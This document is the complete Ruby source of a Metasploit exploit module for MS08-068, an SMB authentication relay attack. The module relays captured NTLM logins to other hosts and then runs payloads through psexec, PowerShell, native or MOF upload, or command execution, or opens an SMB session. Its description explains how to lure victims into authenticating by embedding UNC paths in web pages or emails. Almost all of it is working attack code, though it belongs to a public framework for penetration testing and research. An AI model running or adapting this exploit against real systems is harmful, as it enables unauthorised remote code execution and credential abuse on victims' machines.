##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

=begin
Windows XP systems that are not part of a domain default to treating all
network logons as if they were Guest. This prevents SMB relay attacks from
gaining administrative access to these systems. This setting can be found
under:

  Local Security Settings >
   Local Policies >
    Security Options >
     Network Access: Sharing and security model for local accounts
=end

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include ::Msf::Exploit::Remote::SMB::RelayServer
  include ::Msf::Exploit::Remote::SMB::Client::Psexec
  include ::Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Module::HasActions
  include Msf::Auxiliary::CommandShell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS08-068 Microsoft Windows SMB Relay Code Execution',
        'Description' => %q{
          This module will relay SMB authentication requests to another
          host, gaining access to an authenticated SMB session if successful.
          If the connecting user is an administrator and network logins are
          allowed to the target machine, this module will execute an arbitrary
          payload. To exploit this, the target system	must try to	authenticate
          to this module. The easiest way to force a SMB authentication attempt
          is by embedding a UNC path (\SERVER\SHARE) into a web page or
          email message. When the victim views the web page or email, their
          system will automatically connect to the server specified in the UNC
          share (the IP address of the system running this module) and attempt
          to authenticate.  Unfortunately, this
          module is not able to clean up after itself. The service and payload
          file listed in the output will need to be manually removed after access
          has been gained. The service created by this tool uses a randomly chosen
          name and description, so the services list can become cluttered after
          repeated exploitation.

          The SMB authentication relay attack was first reported by Sir Dystic on
          March 31st, 2001 at @lanta.con in Atlanta, Georgia.

          On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin
          includes a patch which prevents the relaying of challenge keys back to
          the host which issued them, preventing this exploit from working in
          the default configuration. It is still possible to set the SMBHOST
          parameter to a third-party host that the victim is authorized to access,
          but the "reflection" attack has been effectively broken.

          As of Feb 2022 - this module does not support SMB 1.
        },
        'Author' => [
          'hdm', # Original SMB v1 relay module
          'juan vazquez', # Original SMB v1 relay module - Add NTLMSSP support
          'agalway-r7', # Add SMB 2/3 support
          'alanfoster', # Add SMB 2/3 support
          'Spencer McIntyre' # Add SMB 2/3 support
        ],
        'License' => MSF_LICENSE,
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Payload' => {
          'Space' => 2048,
          'DisableNops' => true,
          'StackAdjustment' => -3500
        },
        'References' => [
          ['CVE', '2008-4037'],
          ['OSVDB', '49736'],
          ['MSB', 'MS08-068'],
          ['URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'],
          ['URL', 'https://en.wikipedia.org/wiki/SMBRelay'],
          ['URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx']
        ],
        'Platform' => 'win',
        'Targets' => [
          [ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
          [ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
          [ 'Native upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
          [ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
          [ 'Command', { 'Arch' => [ARCH_CMD] } ]
        ],
        'Notes' => {
          'Stability' => [
            CRASH_SAFE,
          ],
          'Reliability' => [
            REPEATABLE_SESSION
          ],
          'SideEffects' => [
            ARTIFACTS_ON_DISK,
            IOC_IN_LOGS,
            ACCOUNT_LOCKOUTS
          ]
        },
        'DisclosureDate' => '2001-03-31',
        'DefaultTarget' => 0,
        'Actions' => available_actions,
        'Stance' => Msf::Exploit::Stance::Passive,
        'DefaultAction' => 'PSEXEC'
      )
    )

    register_options(
      [
        OptString.new('SMBSHARE', [false, 'The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share', ''], aliases: ['SHARE'])
      ]
    )

    register_advanced_options(
      [
        OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]),
        OptString.new('SERVICE_FILENAME', [false, 'Filename to to be used on target for the service binary', nil]),
        OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
        OptString.new('SERVICE_STUB_ENCODER', [false, 'Encoder to use around the service registering stub', nil])
      ]
    )

    deregister_options(
      'RPORT', 'SMBPass', 'SMBUser', 'CommandShellCleanupCommand', 'AutoVerifySession'
    )
    if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
      add_info('New in Metasploit 6.4 - The %grnCREATE_SMB_SESSION%clr action within this module can open an interactive session')
    end
  end

  def available_actions
    actions = [
      ['PSEXEC', { 'Description' => 'Use the SMB Connection to run the exploit/windows/psexec module against the relay target' }]
    ]
    if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
      actions << ['CREATE_SMB_SESSION', { 'Description' => 'Do not close the SMB connection after relaying, and instead create an SMB session' }]
    end

    actions
  end

  def validate_service_stub_encoder!
    service_encoder = datastore['SERVICE_STUB_ENCODER']
    return if service_encoder.nil? || service_encoder.empty?

    encoder = framework.encoders[service_encoder]
    if encoder.nil?
      raise Msf::OptionValidateError.new(
        {
          'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}"
        }
      )
    end
  end

  def validate
    case action.name
    when 'PSEXEC'
      validate_service_stub_encoder!
    end
    super
  end

  def on_relay_success(relay_connection:, relay_identity:)
    case action.name
    when 'PSEXEC'
      run_psexec(relay_connection)
    when 'CREATE_SMB_SESSION'
      begin
        session_setup(relay_connection)
      rescue StandardError => e
        elog('Failed to setup the session', error: e)
      end
    end
  end

  def run_psexec(relay_connection)
    # The psexec mixins assume a single smb client instance is available, which makes it impossible
    # to use when there are multiple SMB requests occurring in parallel. Let's create a replicant module,
    # and set the datastore options and simple smb instance
    new_mod_instance = replicant
    new_mod_instance.datastore['RHOST'] = relay_connection.target.ip
    new_mod_instance.datastore['RPORT'] = relay_connection.target.port
    # The new module no longer needs a reference to the original smb server, deref it explicitly:
    new_mod_instance.service.deref
    new_mod_instance.service = nil
    # Wrap the ruby_smb connection in a rex-compatible adapter
    new_mod_instance.simple = ::Rex::Proto::SMB::SimpleClient.new(relay_connection.dispatcher.tcp_socket, client: relay_connection)

    thread_name = "Module(#{refname})(target=#{relay_connection.target.ip}:#{relay_connection.target.port})"
    framework.threads.spawn(thread_name, false, new_mod_instance) do |mod_instance|
      mod_instance.exploit_smb_target
    rescue StandardError => e
      print_error("Failed running psexec against target #{relay_connection.target.ip} - #{e.class} #{e.message}")
      elog(e)
      # ensure
      #   # Note: Don't cleanup explicitly, as the shared replicant state leads to payload handlers etc getting closed.
      #   # The parent module will clean these shared resources
      #   mod_instance.cleanup
    end
  end

  def relay_targets
    Msf::Exploit::Remote::Relay::TargetList.new(
      :smb,
      rport,
      datastore['RHOSTS'],
      randomize_targets: datastore['RANDOMIZE_TARGETS']
    )
  end

  def check_host(_target_ip)
    generic_message = 'Failed to connect and negotiate an SMB connection.'
    begin
      simple = connect(false, direct: true)
      simple.client.negotiate
    rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError, Errno::ECONNRESET
      return Exploit::CheckCode::Unknown(generic_message)
    rescue ::Exception => e # rubocop:disable Lint/RescueException
      elog(generic_message, error: e)
      return Exploit::CheckCode::Unknown(generic_message)
    end

    if simple.signing_required
      return Exploit::CheckCode::Safe('Signing is required by the target server.')
    end

    Exploit::CheckCode::Vulnerable('Signing is not required by the target server.')
  end

  # Called after a successful connection to a relayed host is opened
  def exploit_smb_target
    # automatically select an SMB share unless one is explicitly specified
    if datastore['SMBSHARE'] && !datastore['SMBSHARE'].blank?
      smbshare = datastore['SMBSHARE']
    elsif target.name == 'Command'
      smbshare = 'C$'
    else
      smbshare = 'ADMIN$'
    end

    service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
    service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''

    vprint_status 'Running psexec'
    case target.name
    when 'Automatic'
      if powershell_installed?(smbshare, datastore['PSH_PATH'])
        print_status('Selecting PowerShell target')
        execute_powershell_payload
      else
        print_status('Selecting native target')
        native_upload(smbshare, service_filename, service_encoder)
      end
    when 'PowerShell'
      execute_powershell_payload
    when 'Native upload'
      native_upload(smbshare, service_filename, service_encoder)
    when 'MOF upload'
      mof_upload(smbshare)
    when 'Command'
      execute_command_payload(smbshare)
    end

    handler
    disconnect
  end

  # @param [RubySMB::Client] client
  def session_setup(client)
    return unless client

    platform = 'windows'

    # Create a new session
    rstream = client.dispatcher.tcp_socket
    sess = Msf::Sessions::SMB.new(
      rstream,
      {
        client: client
      }
    )
    ds = {
      'RHOST' => client.target.ip,
      'RPORT' => client.target.port
    }

    s = start_session(self, nil, ds, false, sess.rstream, sess)

    s.platform = platform

    s
  end

  def rport
    445
  end
end
